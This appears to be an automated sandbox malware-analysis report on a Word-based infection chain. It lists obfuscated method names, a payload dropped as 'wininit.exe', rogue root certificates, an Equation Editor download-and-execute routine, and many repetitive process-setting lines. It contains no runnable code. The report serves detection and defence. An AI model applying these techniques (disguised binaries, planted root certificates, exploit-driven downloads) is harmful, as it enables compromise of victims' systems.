Source: 13.2.wininit.exe.4d00000.5.raw.unpack, BE5k0LFu5KnoWIB8ne.cs	High entropy of concatenated method names: 'QPjT47v345', 'bMaTO5YD1n', 'qL4T1ROcj5', 'B15TEN4D6d', 'noKTY6WZW0', 'KIATDaS7hq', 'wqZTSXrG3c', 'UUKTWm9AvU', 'JPFTkkWlg3', 'zCGTXs1q8C'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, hlfKZ6407CBnHJSie5.cs	High entropy of concatenated method names: 'Q4eMPdDINF', 'dABMaa0v9G', 'm1iM46hmGb', 'F35MOwisjH', 'gV1MuYpY1I', 'NEEM9yiVrf', 'T49MmVVXB8', 'vepMttiwtX', 'mSgMp2U8YB', 'OrnM5Qgsgs'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, mO72Zbe7qFQORHthPZ.cs	High entropy of concatenated method names: 'IGyUiE5k0L', 'H5KUnnoWIB', 'BwMUVrPC2x', 'pIhUqlJdZP', 'PPIUMX2ehK', 'HKbUZqZASI', 'DrLniM6qODKrhYmosh', 'nIUaEjW6YOpveRetEf', 'lhUUUXaivS', 'm33U8VTlfn'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, BwnBSkUenCTHkiiG70o.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 't9EwdUeNcg', 'GcswcCxhlR', 'javwf2GxHL', 'M0CwwEMwtd', 'Q2vw2fUeVe', 'b1uwLEqNHF', 'ty2w6esgdc'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, kvk9jqBMEXOK4a7rYr.cs	High entropy of concatenated method names: 'UuhxF135Y', 'XnebOGXXx', 'gxo3kDLoB', 'IZJ0qtrjN', 'ArxhXNkJK', 'HajJcBQ7r', 'n91mUTemEhJ9mZBp51', 'RNVkhEo862ysWOUwJ8', 'K5EjtOTxM', 'YgrcQvyG5'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, iWse1KSS7gaYi41xLP.cs	High entropy of concatenated method names: 'K0RdMuvAqt', 'BmMdIEKRT2', 'RJfddnVaQa', 'fcWdf4WTkd', 'FJpd2JdMAg', 'XKNd6ZbKD7', 'Dispose', 'S0pjKughCJ', 'Jr6jTQ28or', 'sGujCe3UVH'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, eqDwEc5eNbqOMrRccw.cs	High entropy of concatenated method names: 'wsUiKpO8LJ', 'mKeiCuOl5m', 'c76iQWyI7L', 'dG5QXo2Ph5', 's31QzmMPm6', 'tdCiRDR4Xc', 'uVniU0FJwJ', 'vCpiBNnNh2', 'C33i8WyDuh', 'C2FienmEHx'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, lBiWxolWI4mIKrpo6Q.cs	High entropy of concatenated method names: 'c6sigqBTbc', 'bA5iHPDRJZ', 'nVIix7HMEI', 'lu8ibUgJBG', 'xQBiyYxTKA', 'Uu3i30xC8r', 'tkNi0FhmID', 'g94iF3DidF', 'LljihX3H7C', 'EeQiJ9voDB'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, eenOKjUBoGmHCNGsevJ.cs	High entropy of concatenated method names: 'ToString', 'dynfFoMNSH', 'NPbfhRtonL', 'EsyfJMHbTy', 'SVXfNgrEu2', 'gXWfupVDI1', 'SHPf95laLM', 'jw8fm0999e', 'fKvmhvcqCxomhRmxrhd', 'yiGgBXc63lwjv54kfh4'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, urCQEP7xb0Mxs3L7dv.cs	High entropy of concatenated method names: 'RvKAFRNiNm', 'LurAhHQlM9', 'T4WANS9Td2', 'zsCAu6BpFD', 'rgOAmBGW2g', 'rqsAtd3WxD', 'soHA5yy9T5', 'ydbAoD9Y2p', 'hKxAPfH77o', 'nuVAs99LcQ'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, x76f1hkrmI3Lkqhn4k.cs	High entropy of concatenated method names: 'E0fdNAeGf6', 'b0Idu8bJEp', 'twmd91E48s', 'oKldmWYHus', 'MhbdtHQOm8', 'RPXdp8Pfdb', 'ArPd5HbWfX', 'Uw5doQYgDG', 'QX0dlENjSW', 'cr1dPT1aQr'

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\wininit.exe

Jump to dropped file

Installs new ROOT certificates

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Office drops RTF file

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File dump: ~WRD0000.tmp.0.dr			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File dump: ~WRD0000.tmp.0.dr			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_03540499 LoadLibraryW,URLDownloadToFileW,ShellExecuteW,ExitProcess,

2_2_03540499

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\wininit.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\wininit.exe	File created: C:\Users\user\AppData\Roaming\CF97F5\5879F5.exe (copy)	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
